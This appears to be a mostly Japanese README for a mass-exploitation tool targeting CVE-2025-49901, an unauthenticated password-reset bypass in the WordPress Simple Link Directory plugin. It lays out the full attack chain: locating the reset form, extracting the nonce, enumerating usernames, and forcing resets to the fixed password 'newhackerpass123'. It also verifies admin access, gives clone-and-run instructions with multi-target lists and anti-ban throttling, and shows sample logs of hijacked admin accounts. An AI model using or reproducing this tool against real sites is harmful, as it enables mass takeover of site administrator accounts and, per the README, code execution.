
WordPress Simple Link Directory プラグイン 14.8.1 未満には、高優先度の認証バイパスの脆弱性があります。
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2025-49901 · Simple Link Directory · qc-opd ║
║ 認証バイパス → パスワードリセット → RCE ║
╚═══════════════════════════════════════════════════════════════════╝
| CVE | CVE-2025-49901 |
| CVSS | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| プラグイン | quantumcloud Simple Link Directory (qc-simple-link-directory) |
| 影響を受けるバージョン | All versions < 14.8.1 |
| 認証 | None required |
| タイプ | Authentication Bypass via Alternate Path (CWE-288) |
| CWE | CWE-288 · Authentication Bypass Using an Alternate Path or Channel |
SLDページに公開されているqc-opdパスワードリセットフォームは、トークン、メール確認、権限チェックなどを介してユーザーの身元を確認することなく、ユーザー名と新しいパスワードを受け入れます。認証されていない攻撃者は、WordPressのユーザー名を列挙し、任意のアカウントに対してリセットフォームを送信し、注入されたパスワードで即座に認証することができます。これにより、対象ユーザーの操作なしに管理者権限を取得できます。
┌─────────────────────────────────────────────────────────┐
│ 1. Locate SLD reset page │
│ Probe 28+ paths → match: "sld" + "_wpnonce" + form │
│ │
│ 2. Extract nonce │
│ Parse _wpnonce from HTML / JS / qc-opd-nonce │
│ │
│ 3. Enumerate usernames │
│ /?author=1..10 + /wp-json/wp/v2/users + hostname │
│ │
│ 4. Reset password for each username │
│ POST qc-restore-pwd=restore │
│ qc-uid=<username> │
│ pass=newhackerpass123 │
│ _wpnonce=<nonce> │
│ │
│ 5. Verify access (dual mode) │
│ Session mode → cookie check + /wp-admin/ probes │
│ Password mode → wp-login.php + admin panel check │
│ │
│ 6. Write confirmed hits → scan_results/reset_mass_success.txt │
└─────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3
python3 CVE-2025-49901.py
requirements.txt
requests>=2.28.0
colorama>=0.4.6
urllib3>=1.26.0
ターゲットリストファイル → list.txt (1行に1ホスト)
スレッド数 → デフォルト5
HTTPタイムアウト → デフォルト10秒
ユーザーごとの遅延 MIN/MAX → アンチバンスロットル (デフォルト0.3秒 / 0.7秒)
サイト間の遅延 → デフォルト1.0秒
出力ファイル → scan_results/reset_mass_success.txt
ターゲット形式:
https://target1.com
target2.com
http://target3.com/wordpress
すべてのリセットに注入される固定パスワード:
newhackerpass123
| 方法 | エンドポイント |
|---|---|
| 著者リダイレクト | /?author=1 → /?author=10 |
各リセット試行後、ツールは2つの独立した方法でアクセスを確認します:
セッションモード → wordpress_logged_inクッキー + /wp-admin/インジケーターを確認
パスワードモード → wp-login.phpへの完全なPOST + マルチパス管理者パネルプローブ
確認される管理者インジケーター:
id="adminmenu" · id="wpadminbar" · id="wpwrap"
users.php · plugins.php · plugin-install-tab · upload-plugin
[HH:MM:SS] [https://target.com] NONCE: OK | RESET: OK | ACCESS: 1 HIT
[HH:MM:SS] [https://target2.com] NONCE: FAIL | RESET: - | ACCESS: 0 HIT
scan_results/reset_mass_success.txt
[2025-06-01T14:22:10] https://target.com - account=admin pass=newhackerpass123 mode=password
[2025-06-01T14:22:18] https://target.com - account=editor pass=newhackerpass123 mode=session
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
認可されたセキュリティ研究および教育目的のみに使用してください。
著者は、操作者が所有していない、または明示的な書面による許可を得ていないシステムに対する使用について一切の責任を負いません。
許可されていない使用は、CFAA、CMA、および世界中の同等の法律に違反します。あなたの行動に対する責任はあなた自身にあります。
© 2025 Nxploited · Simple Link Directory < 14.8.1 · 14.8.1で修正
| REST API | /wp-json/wp/v2/users |
| ホスト名 | ドメインの最初のラベルをフォールバックとして |
| ハードコード | adminは常に含まれる |